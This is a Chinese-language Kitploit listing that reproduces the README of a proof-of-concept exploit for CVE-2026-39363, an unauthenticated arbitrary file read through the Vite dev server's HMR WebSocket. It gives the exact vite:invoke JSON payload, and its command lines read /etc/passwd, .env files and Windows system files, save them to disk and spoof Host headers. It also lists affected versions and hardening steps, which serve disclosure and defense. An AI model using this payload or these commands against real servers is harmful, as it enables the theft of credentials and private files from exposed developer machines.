Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/sunynov/cve-2026-39363
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubsunynov/cve-2026-39363

CVE-2026-39363

方便实用的CVE-2026-39363利用工具

查看仓库
16天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39363 — Vite Dev Server 任意文件读取 PoC

针对 GHSA-p9ff-h696-f583 的可直接运行 PoC。通过未鉴权的 HMR WebSocket 调用 fetchModule,绕过 HTTP 层的 server.fs.allow 限制,读取 dev server 所在机器上的任意文件。

影响范围

版本线受影响已修复
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (VoidZero 分支)<=0.1.150.1.16

利用前提:

  • dev server 暴露到网络(--host / server.host 配置),且
  • HMR WebSocket 未禁用(默认启用,server.ws: false 可关)。

CVSS 3.1 7.5 High(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N),CWE-200 + CWE-306。 CISA SSVC 已标记 exploitation=poc, automatable=yes。

原理

  1. HTTP 层读取任意文件会被 server.fs.allow 拦下(/@fs/<绝对路径> → 403)。
  2. 但 HMR WebSocket 的握手只校验:
    • Sec-WebSocket-Protocol: vite-hmr 头,以及
    • 带 Origin 头时才要求 ?token= 查询参数(CWE-306:非浏览器客户端 不带 Origin 头即可直接连入)。
  3. 连入后发送 vite:invoke 自定义事件调用服务端注册的 fetchModule 方法,传入 file://<绝对路径>?raw。fetchModule 直接走模块 transform 管道,完全绕过 fs.allow 检查,把文件内容作为 export default "..." 返回(CWE-200)。

vite:invoke 请求消息结构(v6/v7/v8 一致):

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

服务端回复 id 变为 1response,data.data.result.code 为文件内容。

用法

仅需 Python 3 标准库,无第三方依赖:

root@kitploit:~
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd

# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

参数:

验证记录

本仓库 PoC 已在以下环境实测通过(读取 dev server root 之外的 secret.txt, HTTP @fs 路径同文件返回 403):

  • Vite 8.0.4(vite --host 0.0.0.0,Windows)
  • Vite 6.4.1(同上)
  • Vite 7.3.1 源码比对确认消息结构与 v6/v8 一致

复现步骤(与 PoC 相同链路):

root@kitploit:~
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw'   # -> 403

# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>

检测与加固

  • 升级到 6.4.2 / 7.3.2 / 8.0.5。
  • dev server 绝不绑定公网地址(默认只监听 localhost)。
  • 生产构建使用 vite build + 静态托管,不要运行 vite dev。
  • 无法升级时:server.ws: false 禁用 HMR,或加反向代理只允许本机访问 dev server 端口。

免责声明

仅限在已获授权的渗透测试、漏洞复现和防御研究中使用。未经授权对他人 系统使用本工具造成的后果由使用者承担。

下载工具
参数说明
url目标,如 http://192.168.1.10:5173
files要读的绝对路径,POSIX 或 Windows 风格均可
--host-header伪造 Host 头(默认取目标 host)。默认仅对 IP/localhost 放行,自定义域名需显式配置
--ws-pathHMR WebSocket 路径,默认 /(若目标配置了 server.hmr.path 需修改)
--timeout单请求超时秒数,默认 10
-o/--output-dir把读取内容保存到目录